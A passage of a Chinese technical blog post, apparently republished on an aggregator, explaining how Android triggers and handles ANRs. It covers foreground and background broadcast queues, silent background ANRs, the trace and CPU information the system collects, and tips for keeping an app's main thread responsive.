mBgBroadcastQueue = new BroadcastQueue(this, mHandler,"background", BROADCAST_BG_TIMEOUT, true);

根据发送广播sendBroadcast(Intent intent)中的intent的flags是否包含FLAG_RECEIVER_FOREGROUND来决定把该广播是放入前台广播队列或者后台广播队列,前台广播队列的超时为10s,后台广播队列的超时为60s,默认情况下广播是放入后台广播队列,除非指明加上FLAG_RECEIVER_FOREGROUND标识。

后台广播比前台广播拥有更长的超时阈值,同时在广播分发过程遇到后台service的启动(mDelayBehindServices)会延迟分发广播,等待service的完成,因为等待service而导致的广播ANR会被忽略掉;后台广播属于后台进程调度组,而前台广播属于前台进程调度组。简而言之,后台广播更不容易发生ANR,同时执行的速度也会更慢。

另外,只有串行处理的广播才有超时机制,因为接收者是串行处理的,前一个receiver处理慢,会影响后一个receiver;并行广播通过一个循环一次性向所有的receiver分发广播事件,所以不存在彼此影响的问题,则没有广播超时。

前台广播准确来说,是指位于前台广播队列的广播

前台与后台ANR

除了前台服务,前台广播,还有前台ANR可能会让你云里雾里的,来看看其中核心逻辑:

final void appNotResponding(...) {
    ...
    synchronized (mService) {
        isSilentANR = !showBackground && !isInterestingForBackgroundTraces(app);
        ...
    }
    ...
    File tracesFile = ActivityManagerService.dumpStackTraces(
            true, firstPids,
            (isSilentANR) ? null : processCpuTracker,
            (isSilentANR) ? null : lastPids,
            nativePids);

    synchronized (mService) {
        if (isSilentANR) {
            app.kill("bg anr", true);
            return;
        }
        ...
        //弹出ANR选择的对话框
        Message msg = Message.obtain();
        msg.what = ActivityManagerService.SHOW_NOT_RESPONDING_UI_MSG;
        msg.obj = new AppNotRespondingDialog.Data(app, activity, aboveSystem);
        mService.mUiHandler.sendMessage(msg);
    }
}

决定是前台或者后台ANR取决于该应用发生ANR时对用户是否可感知,比如拥有当前前台可见的activity的进程,或者拥有前台通知的fg-service的进程,这些是用户可感知的场景,发生ANR对用户体验影响比较大,故需要弹框让用户决定是否退出还是等待,如果直接杀掉这类应用会给用户造成莫名其妙的闪退。

后台ANR相比前台ANR,只抓取发生无响应进程的trace,也不会收集CPU信息,并且会在后台直接杀掉该无响应的进程,不会弹框提示用户。

前台ANR准确来说,是指对用户可感知的进程发生的ANR

ANR爆炸现场

对于service、broadcast、provider、input发生ANR后,中控系统会马上去抓取现场的信息,用于调试分析。收集的信息包括如下:

  • 将am_anr信息输出到EventLog,也就是说ANR触发的时间点最接近的就是EventLog中输出的am_anr信息
  • 收集以下重要进程的各个线程调用栈trace信息,保存在data/anr/traces.txt文件
    • 当前发生ANR的进程,system_server进程以及所有persistent进程
    • audioserver, cameraserver, mediaserver, surfaceflinger等重要的native进程
    • CPU使用率排名前5的进程
  • 将发生ANR的reason以及CPU使用情况信息输出到main log
  • 将traces文件和CPU使用情况信息保存到dropbox,即data/system/dropbox目录
  • 对用户可感知的进程则弹出ANR对话框告知用户,对用户不可感知的进程发生ANR则直接杀掉

整个ANR信息收集过程比较耗时,其中抓取进程的trace信息,每抓取一个等待200ms,可见persistent越多,等待时间越长。关于抓取trace命令,对于Java进程可通过在adb shell环境下执行kill -3 [pid]可抓取相应pid的调用栈;对于Native进程在adb shell环境下执行debuggerd -b [pid]可抓取相应pid的调用栈。对于ANR问题发生后的蛛丝马迹(trace)在traces.txt和dropbox目录中保存记录。更多细节详见理解Android ANR的信息收集过程,http://gityuan.com/2016/12/02/app-not-response。

有了现场信息,可以调试分析,先定位发生ANR时间点,然后查看trace信息,接着分析是否有耗时的message、binder调用,锁的竞争,CPU资源的抢占,以及结合具体场景的上下文来分析,调试手段就需要针对前面说到的message、binder、锁等资源从系统角度细化更多debug信息,这里不再展开,后续再以ANR案例来讲解。

作为应用开发者应让主线程尽量只做UI相关的操作,避免耗时操作,比如过度复杂的UI绘制,网络操作,文件IO操作;避免主线程跟工作线程发生锁的竞争,减少系统耗时binder的调用,谨慎使用sharePreference,注意主线程执行provider query操作。简而言之,尽可能减少主线程的负载,让其空闲待命,以期可随时响应用户的操作。

回答

最后,来回答文章开头的提问,有哪些路径会引发ANR? 答应是从埋下定时炸弹到拆炸弹之间的任何一个或多个路径执行慢都会导致ANR(以service为例),可以是service的生命周期的回调方法(比如onStartCommand)执行慢,可以是主线程的消息队列存在其他耗时消息让service回调方法迟迟得不到执行,可以是SP操作执行慢,可以是system_server进程的binder线程繁忙而导致没有及时收到拆炸弹的指令。另外ActivityManager线程也可能阻塞,出现的现象就是前台服务执行时间有可能超过10s,但并不会出现ANR。

发生ANR时从trace来看主线程却处于空闲状态或者停留在非耗时代码的原因有哪些?可以是抓取trace过于耗时而错过现场,可以是主线程消息队列堆积大量消息而最后抓取快照一刻只是瞬时状态,可以是广播的“queued-work-looper”一直在处理SP操作。

本文的知识源自对Android系统源码的研究以及工作实践中提炼而来,Android达摩院独家武功秘籍分享给大家,希望能升大家对提对ANR的理解。


微信公众号Android达摩院| 微博weibo.com/gityuan| 博客留言区交流android-damoyuan
Viewing all 15892 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>